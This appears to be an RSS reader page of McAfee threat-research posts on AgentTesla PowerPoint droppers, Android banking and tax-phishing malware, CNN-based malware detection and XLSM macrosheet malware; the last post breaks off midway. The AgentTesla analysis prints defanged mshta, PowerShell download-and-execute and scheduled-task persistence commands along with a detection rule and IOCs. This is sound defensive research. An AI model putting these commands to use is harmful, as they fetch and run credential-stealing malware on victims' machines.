RSS Security

🔒
❌ About FreshRSS
There are new articles available, click to refresh the page.
Before yesterdayMcAfee Blogs

Malicious PowerPoint Documents on the Rise

22 September 2021 at 01:47

Authored by Anuradha M

McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.  

AgentTesla is a RAT (Remote Access Trojan) malware that has been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns. 

During Q2, 2021, we have seen an increase in PowerPoint malware. 

Figure 1. Trend of PPT malware over the first half of 2021
Figure 1. The trend of PPT malware over the first half of 2021

In this campaign, the spam email contains an attached file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes such asNew PO300093 Order as shown in Figure 2. The attachment filename is 300093.pdf.ppam”. 

Figure 2. Spam Email

PPAM file: 

This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.  

Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to automatically execute macros. 

Technical Analysis: 

Once the victim opens the “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.

Figure 3. Warning when opening the attached PowerPoint file
Figure 3. Warning when opening the attached PowerPoint file

From Figure 4, you can see that the Add-in feature of the PowerPoint can be identified from the content of [Content_Types].xml file which will be present inside the ppam file. 

Figure 4. Powerpoint add-in feature with macroEnabled
Figure 4. Powerpoint add-in feature with macroEnabled

 The PPAM file contains the following files and directories which can be seen upon extraction. 

  • _rels\.rels 
  • [Content_Types].xml 
  • ppt\rels\presentation.xml.rels 
  • ppt\asjdaaasdasdsdaasdsdasasdasddoasddasasddasasdsasdjasddasdoasjdasasddoajsdjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.bin – Malicious file 
  • ppt\presentation.xml 

Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity. 

Figure 5. Installed Add-ins in the PowerPoint options
Figure 5. Installed Add-ins in the PowerPoint options

As you can see in Figure 6, the macro is executed within the add-in auto_open() event i.e.., macro is fired immediately after the presentation is opened and the add-in is loaded. 

Figure 6.VBA Code snippet with auto_open() event
Figure 6.VBA Code snippet with auto_open() event

The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA() API. 

Below are the parameters passed to CreateProcessA() API: 

kernel32.CreateProcessA(00000000,mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh,00000000,00000000,00000001,00000020,00000000,00000000,D, 

Figure 7. VBA Code snippet containing mshta and url
Figure 7. VBA Code snippet containing mshta and url

Below is the command line parameter of mshta: 

mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh is redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html” but it didn’t get any response from “27.html” at the time of analysis. 

Later mshta.exe spawns powershell.exe as a child process. 

Below is the command line parameters of PowerShell: 

powershell.exe - ”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt‘) -useB); 

PowerShell downloads and executed script files from the above-mentioned URLs.  

The below Figure 8 shows the content of the first url – “hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”: 

Figure 8. Binary file content
Figure 8. Binary file content

There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself. 

Schedule Tasks: 

To achieve persistence, it creates a scheduled task in “Task Scheduler” and drops a task file under C:\windows\system32\SECOTAKSA to make the entire campaign work effectively.   

Figure 9. Code snippet to create a new schedule task
Figure 9. Code snippet to create a new scheduled task

The new task name is SECOTAKSA”. Its action is to execute the command mshta hxxp:// //1230948%[email protected]/p/27.html” and it’s called every 80 minutes.  

Below is the command line parameters of schtasks: 

schtasks.exe - “C:\Windows\System32\schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”\””MsHtA””\””hxxp://1230948%[email protected]/p/27.html\“” 

Infection Chain: 

Figure 10. Infection Chain
Figure 10. Infection Chain

Process Tree: 

Figure 11. Process Tree
Figure 11. Process Tree

Mitigation: 

McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have  DAT coverage for this variant of malware. 

This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.  

The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN! 

Additionally, the Exploit Prevention feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack. 

Expert Rule authored based on the below infection chain: 

POWERPNT.EXE –> mshta.exe  

Expert Rule: 

Rule { 

  Process { 

    Include OBJECT_NAME { -v “powerpnt.exe” } 

  } 

  Target { 

    Match PROCESS { 

       Include OBJECT_NAME { -v “mshta.exe” } 

       Include PROCESS_CMD_LINE { -v “**http**” } 

       Include -access “CREATE” 

    } 

  } 

} 

IOCs 

URLs: 

hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh 

hxxp:// //1230948%[email protected]/p/27.html 

hxxps://p8hj[.]blogspot[.]com/p/27.html 

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt  

hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt 

EML files: 

72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3 

0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0 

fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253 

38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb  

PPAM files: 

fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 

6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3 

9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b 

ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd 

c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d 

Extracted AgentTesla files: 

71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99 

90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371 

The post Malicious PowerPoint Documents on the Rise appeared first on McAfee Blogs.

Android malware distributed in Mexico uses Covid-19 to steal financial credentials

13 September 2021 at 12:27

Authored by Fernando Ruiz

McAfee Mobile Malware Research Team has identified malware targeting Mexico. It poses as a security banking tool or as a bank application designed to report an out-of-service ATM. In both instances, the malware relies on the sense of urgency created by tools designed to prevent fraud to encourage targets to use them. This malware can steal authentication factors crucial to accessing accounts from their victims on the targeted financial institutions in Mexico. 

McAfee Mobile Security is identifying this threat as Android/Banker.BT along with its variants. 

How does this malware spread? 

The malware is distributed by a malicious phishing page that provides actual banking security tips (copied from the original bank site) and recommends downloading the malicious apps as a security tool or as an app to report out-of-service ATM. It’s very likely that a smishing campaign is associated with this threat as part of the distribution method or it’s also possible that victims may be contacted directly by scam phone calls made by the criminals, a common occurrence in Latin America. Fortunately, this threat has not been identified on Google Play yet. 

Here’s how to protect yourself 

During the pandemic, banks adopted new ways to interact with their clients. These rapid changes meant customers were more willing to accept new procedures and to install new apps as part of the ‘new normal’ to interact remotely. Seeing this, cyber-criminals introduced new scams and phishing attacks that looked more credible than those in the past leaving customers more susceptible. 

Fortunately, McAfee Mobile Security is able to detect this new threat as Android/Banker.BT. To protect yourself from this and similar threats: 

  • Employ security software on your mobile devices  
  • Think twice before downloading and installing suspicious apps especially if they request SMS or Notification listener permissions. 
  • Use official app stores however never trust them blindly as malware may be distributed on these stores too so check for permissions, read reviews and seek out developer information if available. 
  • Use token based second authentication factor apps (hardware or software) over SMS message authentication 

Interested in the details? Here’s a deep dive on this malware 

Figure 1- Phishing malware distribution site that provides security tips
Figure 1- Phishing malware distribution site that provides security tips

Behavior: Carefully guiding the victim to provide their credentials 

Once the malicious app is installed and started, the first activity shows a message in Spanish that explains the fake purpose of the app: 

– Fake Tool to report fraudulent movements that creates a sense of urgency: 

Figure 2- Malicious app introduction that try to lure users to provide their bank credentials
Figure 2- Malicious app introduction that tries to lure users to provide their bank credentials\

“The ‘bank name has created a tool to allow you to block any suspicious movement. All operations listed on the app are still pending. If you fail to block the unrecognized movements in less than 24 hours, then they will charge your account automatically. 

At the end of the blocking process, you will receive an SMS message with the details of the blocked operations.” 

– In the case of the Fake ATM failure tool to request a new credit card under the pandemic context, there is a similar text that lures users into a false sense of security: 

Figure 3- Malicious app introduction of ATM reporting variant that uses the Covid-19 pandemic as pretext to lure users into provide their bank credentials
Figure 3- Malicious app introduction of ATM reporting variant that uses the Covid-19 pandemic as a pretext to lure users into providing their bank credentials

“As a Covid-19 sanitary measure, this new option has been created. You will receive an ID via SMS for your report and then you can request your new card at any branch or receive it at your registered home address for free. Alert! We will never request your sensitive data such as NIP or CVV.”This gives credibility to the app since it’s saying it will not ask for some sensitive data; however, it will ask for web banking credentials. 

If the victims tap on “Ingresar” (“access”) then the banking trojan asks for SMS permissions and launch activity to enter the user id or account number and then the password. In the background, the password or ‘clave’ is transmitted to the criminal’s server without verifying if the provided credentials are valid or being redirected to the original bank site as many others banking trojan does. 

Figure 4- snippet of user entered password exfiltration
Figure 4- snippet of user-entered password exfiltration

Finally, a fixed fake list of transactions is displayed so the user can take the action of blocking them as part of the scam however at this point the crooks already have the victim’s login data and access to their device SMS messages so they are capable to steal the second authentication factor. 

Figure 5- Fake list of fraudulent transactions
Figure 5- Fake list of fraudulent transactions

In case of the fake tool app to request a new card, the app shows a message that says at the end “We have created this Covid-19 sanitary measure and we invite you to visit our anti-fraud tips where you will learn how to protect your account”.  

Figure 6- Final view after the malware already obtained bank credentials reinforcing the concept that this application is a tool created under the covid-19 context.
Figure 6- Final view after the malware already obtained bank credentials reinforcing the concept that this application is a tool created under the covid-19 context.

In the background the malware contacts the command-and-control server that is hosted in the same domain used for distribution and it sends the user credentials and all users SMS messages over HTTPS as query parameters (as part of the URL) which can lead to the sensitive data to be stored in web server logs and not only the final attacker destination. Usually, malware of this type has poor handling of the stolen data, therefore, it’s not surprising if this information is leaked or compromised by other criminal groups which makes this type of threat even riskier for the victims. Actually, in figure 8 there is a partial screenshot of an exposed page that contains the structure to display the stolen data. 

Figure 7 - Malicious method related to exfiltration of all SMS Messages from the victim's device.
Figure 7 – Malicious method related to exfiltration of all SMS Messages from the victim’s device.

Table Headers: Date, From, Body Message, User, Password, Id: 

Figure 8 – Exposed page in the C2 that contains a table to display SMS messages captured from the infected devices.
Figure 8 – Exposed page in the C2 that contains a table to display SMS messages captured from the infected devices.

This mobile banker is interesting due it’s a scam developed from scratch that is not linked to well-known and more powerful banking trojan frameworks that are commercialized in the black market between cyber-criminals. This is clearly a local development that may evolve in the future in a more serious threat since the decompiled code shows accessibility services class is present but not implemented which leads to thinking that the malware authors are trying to emulate the malicious behavior of more mature malware families. From the self-evasion perspective, the malware does not offer any technique to avoid analysis, detection, or decompiling that is signal it’s in an early stage of development. 

IoC 

SHA256: 

  • 84df7daec93348f66608d6fe2ce262b7130520846da302240665b3b63b9464f9 
  • b946bc9647ccc3e5cfd88ab41887e58dc40850a6907df6bb81d18ef0cb340997 
  • 3f773e93991c0a4dd3b8af17f653a62f167ebad218ad962b9a4780cb99b1b7e2 
  • 1deedb90ff3756996f14ddf93800cd8c41a927c36ac15fcd186f8952ffd07ee0 

Domains: 

  • https[://]appmx2021.com 

The post Android malware distributed in Mexico uses Covid-19 to steal financial credentials appeared first on McAfee Blogs.

Phishing Android Malware Targets Taxpayers in India

3 September 2021 at 18:33

Authored by ChanUng Pak  

McAfee’s Mobile Research team recently found a new Android malware, Elibomi, targeting taxpayers in India. The malware steals sensitive financial and private information via phishing by pretending to be a tax-filing application. We have identified two main campaigns that used different fake app themes to lure in taxpayers. The first campaign from November 2020 pretended to be a fake IT certificate application while the second campaign, first seen in May 2021, used the fake tax-filing theme. With this discovery, the McAfee Mobile Research team has been able to update McAfee Mobile Security so that it detects this threat as Android/Elibomi and alerts mobile users if this malware is present in their devices. 

During our investigation, we found that in the latest campaign the malware is delivered using an SMS text phishing attack. The SMS message pretends to be from the Income Tax Department in India and uses the name of the targeted user to make the SMS phishing attack more credible and increase the chances of infecting the device. The fake app used in this campaign is designed to capture and steal the victim’s sensitive personal and financial information by tricking the user into believing that it is a legitimate tax-filing app. 

We also found that Elibomi exposes the stolen sensitive information to anyone on the Internet. The stolen data includes e-mail addresses, phone numbers, SMS/MMS messages among other financial and personal identifiable information. McAfee has reported the servers exposing the data and at the time of publication of this blog the exposed information is no longer available. 

Pretending to be an app from the Income Tax Department in India 

The latest and most recent Elibomi campaign uses a fake tax-filing app theme and pretends to be from the Income Tax Department from the Indian government. They even use the original logo to trick the users into installing the app. The package names (unique app identifiers) of these fake apps consist of a random word + another random string + imobile (e.g. “direct.uujgiq.imobile” and “olayan.aznohomqlq.imobile”). As mentioned before this campaign has been active since at least May 2021. 

Figure 1. Fake iMobile app pretending to be from the Income Tax Department and asking SMS permissions 

After all the required permissions are granted, Elibomi attempts to collect personal information like e-mail address, phone number and SMS/MMS messages stored in the infected device: 

Figure 2. Elibomi stealing SMS messages 

Prevention and defense 

Here are our recommendations to avoid being affected by this and other Android threats that use social engineering to convince users to install malware disguised as legitimate apps: 

  • Have a reliable and updated security application like McAfee Mobile Security installed in your mobile devices to protect you against this and other malicious applications. 
  • Do not click on suspicious links received from text messages or social media, particularly from unknown sources. Always double check by other means if a contact that sends a link without context was really sent by that person because it could lead to the download of a malicious application. 

Conclusion 

Android/Elibomi is just another example of the effectiveness of personalized phishing attacks to trick users into installing a malicious application even when Android itself prevents that from happening. By pretending to be an “Income Tax” app from the Indian government, Android/Elibomi has been able to gather very sensitive and private personal and financial information from affected users which could be used to perform identify and/or financial fraud. Even more worryingly, the information was not only in cybercriminals’ hands, but it was also unexpectedly exposed on the Internet which could have a greater impact on the victims. As long as social engineering attacks remain effective, we expect that cybercriminals will continue to evolve their campaigns to trick even more users with different fake apps including ones related to financial and tax services. 

McAfee Mobile Security detects this threat as Android/Elibomi and alerts mobile users if it is present. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com 

For those interested in a deeper dive into our research… 

Distribution method and stolen data exposed on the Internet 

During our investigation, we found the main distribution method of the latest campaign in one of the stolen SMS messages exposed in one of the C2 servers. The SMS body field in the screenshot below shows the Smishing attack used to deliver the malware. Interestingly, the message includes the victim’s name in order to make the message more personal and therefore more credible. It also urges the user to click on a suspicious link with the excuse of checking an urgent update regarding the victim’s Income Tax return: 

Figure 3. Exposed information includes the SMS phishing attack used to originally deliver the malware 

Elibomi not only exposes stolen SMS messages, but it also captures and exposes the list of all accounts logged in the infected devices: 

Figure 4. Example of account information exposed in one of the C2 servers

If the targeted user clicks on the link in the text message, a phishing page will be shown pretending to be from the Income Tax Department from the Indian government which addresses the user by its name to make the phishing attack more credible: 

Figure 5. Fake e-Filing phishing page pretending to be from the Income Tax Department in India 

Each targeted user has a different application. For example in the screenshot below we have the app “cisco.uemoveqlg.imobile” on the left and “komatsu.mjeqls.imobile” on the right: 

Figure 6. Different malicious applications for different users

During our investigation, we found that there are several variants of Elibomi for the same iMobile fake Income tax app. For example, some iMobile apps only have the login page while in others have the option to “register” and request a fake tax refund: 

Figure 7. Fake iMobile screens designed to capture personal and financial information 

The sensitive financial information provided by the tricked user is also exposed on the Internet: 

Figure 8. Example of exposed financial information stolen by Elibomi using a fake tax filling app 

Related Fake IT Certificate applications 

The first Elibomi campaign pretended to be a fake “IT Certificate” app was found to be distributed in November 2020.  In the following figure we can see the similarities in the code between the two malware campaigns: 

Figure 9. Code similarity between Elibomi campaigns 

The malicious application impersonated an IT certificate management module that is purposedly used to validate the device in a non-existent verification server. Just like the most recent version of Elibomi, this fake ITCertificate app requests SMS permissions but it also requests device administrator privileges, probably to make more difficult its removal. The malicious application also simulates a “Security Scan” but in reality what it is doing in the background is stealing personal information like e-mail, phone number and SMS/MMS messages stored in the infected device: 

Figure 10. Fake ITCertificate app pretending to do a security scan while it steals personal data in the background 

Just like with the most recent “iMobile” campaign, this fake “ITCertificate” also exposes the stolen data in one of the C2 servers. Here’s an example of a stolen SMS message that uses the same log fields and structure as the “iMobile” campaign: 

Figure 11. SMS message is stolen by the fake “ITCertificate” using the same log structure as “iMobile” 

Interesting string obfuscation technique 

The cybercriminals behind these two pieces of malware designed a simple but interesting string obfuscation technique. All strings are decoded by calling different classes and each class has a completely different table value

Figure 12. Calling the de-obfuscation method with different parameters 

Figure 13. String de-obfuscation method 

Figure 14. String de-obfuscation table 

The algorithm is a simple substitution cipher. For example, 35 is replaced with ‘h’ and 80 is replaced with ‘t’ to obfuscate the string. 

Appendix – Technical Data and IOCs 

Hash  Package name 
1e8fba3c530c3cd7d72e208e25fbf704ad7699c0a6728ab1b290c645995ddd56  direct.uujgiq.imobile 
7f7b0555563e08e0763fe52f1790c86033dab8004aa540903782957d0116b87f  ferrero.uabxzraglk.imobile 

 

120a51611a02d1d8bd404bb426e07959ef79e808f1a55ce5bff33f04de1784ac  erni.zbvbqlk.imobile 

 

ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef  olayan.bxynrqlq.imobile 

 

da900a00150fcd608a09dab8a8ccdcf33e9efc089269f9e0e6b3daadb9126231  foundation.aznohomqlq.imobile 
795425dfc701463f1b55da0fa4e7c9bb714f99fecf7b7cdb6f91303e50d1efc0  fresenius.bowqpd.immobile 
b41c9f27c49386e61d87e7fc429b930f5e01038d17ff3840d7a3598292c935d7  cisco.uemoveqlg.immobile 
8de8c8c95fecd0b1d7b1f352cbaf839cba1c3b847997c804dfa2d5e3c0c87dfe  komatsu.mjeqls.imobile 
ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef  olayan.bxynrqlq.imobile 
326d81ba7a715a57ba7aa2398824b420fff84cda85c0dd143462300af4e0a37a  alstom.zjeubopqf.certificate 
154cfd0dbb7eb2a4f4e5193849d314fa70dcc3caebfb9ab11b4ee26e98cb08f7  alstom.zjeubopqf.certificate 
c59ecd344729dac99d9402609e248c80e10d39c4d4d712edef0df9ee460fbd7b  alstom.zjeubopqf.certificate 
16284cad1b5a36e2d2ea9f67f5c772af01b64d785f181fd31d2e2bec2d98ce98  alstom.zjeubopqf.certificate 
98fc0d5f914ae47b61bc7b54986295d86b502a9264d7f74739ca452fac65a179  alstom.zjeubopqf.certificate 
32724a3d2a3543cc982c7632f40f9e831b16d3f88025348d9eda0d2dfbb75dfe 

 

computer.yvyjmbtlk.transferInstant 

 

The post Phishing Android Malware Targets Taxpayers in India appeared first on McAfee Blogs.

The Rise of Deep Learning for Detection and Classification of Malware

13 August 2021 at 00:50

Co-written by Catherine Huang, Ph.D. and Abhishek Karnik 

Artificial Intelligence (AI) continues to evolve and has made huge progress over the last decade. AI shapes our daily lives. Deep learning is a subset of techniques in AI that extract patterns from data using neural networks. Deep learning has been applied to image segmentation, protein structure, machine translation, speech recognition and robotics. It has outperformed human champions in the game of Go. In recent years, deep learning has been applied to malware analysis. Different types of deep learning algorithms, such as convolutional neural networks (CNN), recurrent neural networks and Feed-Forward networks, have been applied to a variety of use cases in malware analysis using bytes sequence, gray-scale image, structural entropy, API call sequence, HTTP traffic and network behavior.  

Most traditional machine learning malware classification and detection approaches rely on handcrafted features. These features are selected based on experts with domain knowledge. Feature engineering can be a very time-consuming process, and handcrafted features may not generalize well to novel malware. In this blog, we briefly describe how we apply CNN on raw bytes for malware detection and classification in real-world data. 

  1. CNN on Raw Bytes 

Figure 1: CNNs on raw bytes for malware detection and classification

The motivation for applying deep learning is to identify new patterns in raw bytes. The novelty of this work is threefold. First, there is no domain-specific feature extraction and pre-processing. Second, it is an end-to-end deep learning approach. It can also perform end-to-end classification. And it can be a feature extractor for feature augmentation. Third, the explainable AI (XAI) provides insights on the CNN decisions and help human identify interesting patterns across malware families. As shown in Figure 1, the input is only raw bytes and labels. CNN performs representation learning to automatically learn features and classify malware.  

2. Experimental Results 

For the purposes of our experiments with malware detection, we first gathered 833,000 distinct binary samples (Dirty and Clean) across multiple families, compilers and varying “first-seen” time periods. There were large groups of samples from common families although they did utilize varying packers, obfuscators. Sanity checks were performed to discard samples that were corrupt, too large or too small, based on our experiment. From samples that met our sanity check criteria, we extracted raw bytes from these samples and utilized them for conducting multiple experiments. The data was randomly divided into a training and a test set with an 80% / 20% split. We utilized this data set to run the three experiments.  

In our first experiment, raw bytes from the 833,000 samples were fed to the CNN and the performance accuracy in terms of area under receiver operating curve (ROC) was 0.9953.  

One observation with the initial run was that, after raw byte extraction from the 833,000 unique samples, we did find duplicate raw byte entries. This was primarily due to malware families that utilized hash-busting as an approach to polymorphism. Therefore, in our second experiment, we deduplicated the extracted raw byte entries. This reduced the raw byte input vector count to 262,000 samples. The test area under ROC was 0.9920. 

In our third experiment, we attempted multi-family malware classification. We took a subset of 130,000 samples from the original set and labeled 11 categories – the 0th were bucketed as Clean, 1-9 of which were malware families, and the 10th were bucketed as Others. Again, these 11 buckets contain samples with varying packers and compilers. We performed another 80 / 20% random split for the training set and test set. For this experiment, we achieved a test accuracy of 0.9700. The training and test time on one GPU was 26 minutes.  

3. Visual Explanation 

Figure 2: visual explanation using T-SNE and PCA before and after the CNN training
Figure 2: A visual explanation using T-SNE and PCA before and after the CNN training

To understand the CNN training process, we performed a visual analysis for the CNN training. Figure 2 shows the t-Distributed Stochastic Neighbor Embedding (t-SNE) and Principal Component Analysis (PCA) for before and after CNN training. We can see that after training, CNN is able to extract useful representations to capture characteristics of different types of malware as shown in different clusters. There was a good separation for most categories, lending us to believe that the algorithm was useful as a multi-class classifier. 

We then performed XAI to understand CNN’s decisions. Figure 3 shows XAI heatmaps for one sample of Fareit and one sample of Emotet. The brighter the color is the more important the bytes contributing to the gradient activation in neural networks. Thus, those bytes are important to CNN’s decisions. We were interested in understanding the bytes that weighed in heavily on the decision-making and reviewed some samples manually. 

Figure 3: XAI heatmaps on Fareit (left) and Emotet (right)
Figure 3: XAI heatmaps on Fareit (left) and Emotet (right)

4. Human analysis to understand the ML decision and XAI  

Figure 4: Human analysis on CNN’s predictions
Figure 4: Human analysis on CNN’s predictions

To verify if the CNN can learn new patterns, we fed a few never before seen samples to the CNN, and requested a human expert to verify the CNN’s decision on some random samples. The human analysis verified that the CNN was able to correctly identify many malware familiesIn some cases, it identified samples accurately before the top 15 AV vendors based on our internal tests. Figure 4 shows a subset of samples that belong to the Nabucur family that were correctly categorized by the CNN despite having no vendor detection at that point in timeIt’s also interesting to note that our results showed that the CNN was able to currently categorize malware samples across families utilizing common packers into an accurate family bucket. 

Figure 5: domain analysis on sample compiler
Figure 5: domain analysis on sample compiler

We ran domain analysis on the same sample complier VB files. As shown in Figure 5, CNN was able to identify two samples of a threat family before other vendors. CNN agreed with MSMP/other vendors on two samples. In this experiment, the CNN incorrectly identified one sample as Clean.  

Figure 6: Human analysis on an XAI heatmap. Above is the resulting disassembly of part of the decryption tea algorithm from the Hiew tool.
Figure 6: Human analysis on an XAI heatmap. Above is the resulting disassembly of part of the decryption tea algorithm from the Hiew tool.
Above is XAI heatmap for one sample.
Above is XAI heatmap for one sample.

We asked a human expert to inspect an XAI heatmap and verify if those bytes in bright color are associated with the malware family classification. Figure 6 shows one sample which belongs to the Sodinokibi family. The bytes identified by the XAI (c3 8b 4d 08 03 d1 66 c1) are interesting because the byte sequence belongs to part of the Tea decryption algorithm. This indicates these bytes are associated with the malware classification, which confirms the CNN can learn and help identify useful patterns which humans or other automation may have overlooked. Although these experiments were rudimentary, they were indicative of the effectiveness of the CNN in identifying unknown patterns of interest.  

In summary, the experimental results and visual explanations demonstrate that CNN can automatically learn PE raw byte representations. CNN raw byte model can perform end-to-end malware classification. CNN can be a feature extractor for feature augmentation. The CNN raw byte model has the potential to identify threat families before other vendors and identify novel threats. These initial results indicate that CNN’s can be a very useful tool to assist automation and human researcher in analysis and classification. Although we still need to conduct a broader range of experiments, it is encouraging to know that our findings can already be applied for early threat triage, identification, and categorization which can be very useful for threat prioritization.  

We believe that McAfee’s ongoing AI research, such as deep learning-based approaches, leads the security industry to tackle the evolving threat landscape, and we look forward to continuing to share our findings in this space with the security community. 

The post The Rise of Deep Learning for Detection and Classification of Malware appeared first on McAfee Blogs.

XLSM Malware with MacroSheets

6 August 2021 at 20:29

Written by: Lakshya Mathur

Excel-based malware has been around for decades and has been in the limelight in recent years. During the second half of 2020, we saw adversaries using Excel 4.0 macros, an old technology, to deliver payloads to their victims. They were mainly using workbook streams via the XLSX file format. In these streams, adversaries were able to enter code straight into cells (that’s why they were called macro-formulas). Excel 4.0 also used API level functions like downloading a file, creation of files, invocation of other processes like PowerShell, cmd, etc.  

With the evolution of technology, AV vendors started to detect these malicious Excel documents effectively and so to have more obfuscation and evasion routines attackers began to shift to the XLSM file format. In the first half of 2021, we have seen a surge of XLSM malware delivering different family payloads (as shown in below infection chart). In XLSM adversaries make use of Macrosheets to enter their malicious code directly into the cell formulas. XLSM structure is the same as XLSX, but XLSM files support VBA macros which are more advanced technology of Excel 4.0 macros. Using these macrosheets, attackers were able to access powerful windows functionalities and since this technique is new and highly obfuscated it can evade many AV detections. 

Excel 4.0 and XLSM are both known to download other malware payloads like ZLoader, Trickbot, Qakbot, Ursnif, IcedID, etc. 

Field hits for XLSM macrosheet malware detection
Field hits for XLSM macrosheet malware detection

The above figure shows the Number of samples weekly detected by the detected name “Downloader-FCEI” which specifically targets XLSM macrosheet based malware. 

Detailed Technical Analysis 

XLSM Structure 

XLSM files are spreadsheet files that support macros. A macro is a set of instructions that performs a record of steps repeatedly. XLSM files are based upon Open XLM formats that were introduced in Microsoft Office 2007. These file types are like XLSX but in addition, they support macros. 

Talking about the XLSM structure when we unzip the file, we see four basic contents of the file, these are shown below. 

Figure-1: Content inside XLSM file
Figure-1: Content inside XLSM file
  • _rels contains the starting package-level relationship. 
  • docProps contains the metadata of the excel file. 
  • xl folder contains the actual contents of the file. 
  • [Content_Types].xml has references to the XML files present within the above folders. 

We will focus more on the “xl” folder contents. This folder contains all the excel file main contents like all the worksheets, media files, styles.xml file, sharedStrings.xml file, workbook.xml file, etc. All these files and folders have data related to different aspects of the excel file. But for XLSM files we will focus on one unique folder called macrosheets. 

These XLSM files contain macrosheets as shown in figure-2 which are nothing but XML sheet files that can support macros. These sheets are not available in other Excel file formats. In the past few months, we have seen a huge surge in XLSM file-type malware in which attackers store malicious strings hidden within these macrosheets. We will see more details about such malware in this blog. 

Figure-2: Macrosheets folder inside xl folder
Figure-2: Macrosheets folder inside xl folder

To explain further how attackers uses XLSM files we have taken a Qakbot sample with SHA 91a1ba70132139c99efd73ca21c4721927a213bcd529c87e908a9fdd71570f1e. 

Infection Chain

Figure-3: Infection chain for Qakbot Malware
Figure-3: Infection chain for Qakbot Malware

The infection chain for both Excel 4.0 Qakbot and XLSM Qakbot is similar. They both downloads dll and execute it using rundll32.exe with DllResgisterServer as the export function. 

XLSM Threat Analysis 

On opening the XLSM file there is an image that prompts the user to enable the content. To look legitimate and clean malicious actors use a very official-looking template as shown below.

Figure-4: Image of Xlsm file face
Figure-4 Image of Xlsm file face

On digging deeper, we see its internal workbook.xml file. 

Figure-5: workbook.xml content
Figure-5: workbook.xml content

Now as we can see in the workbook.xml file (Figure-5), there is a total of 6 sheets and their state is hidden. Also, two cells have a predefined name and one of them is Sheet2323!$A$1 defined as “_xlnm.Auto_Open” which is similar to Sub Auto_Open() as we generally see in macro files. It automatically runs the macros when the user clicks on Enable Content.  

As we saw in Figure-3 on opening the file, we only see the enable content image. Since the state of sheets was hidden, we can right-click on the main sheet tab and we will see unhide option there, then we can select each sheet to unhide it. On hiding the sheet and change the font color to red we saw some random strings as seen in figure 6. 

Figure-6: Sheet face of xlsm file
Figure-6: Sheet face of xlsm file

These hidden sheets contain malicious strings in an obfuscated manner. So, on analyzing more we observed that sheets inside the macrosheets folder contain these malicious strings. 

Figure-7: Content of macrosheet XML file
Figure-7: Content of macrosheet XML file

Now as we can in figure-7 different tags are used in this XML sheet file. All the malicious strings are present in two tags <f> and <v> tags inside <sheetdata> tags. Now let’s look more in detail about these tags. 

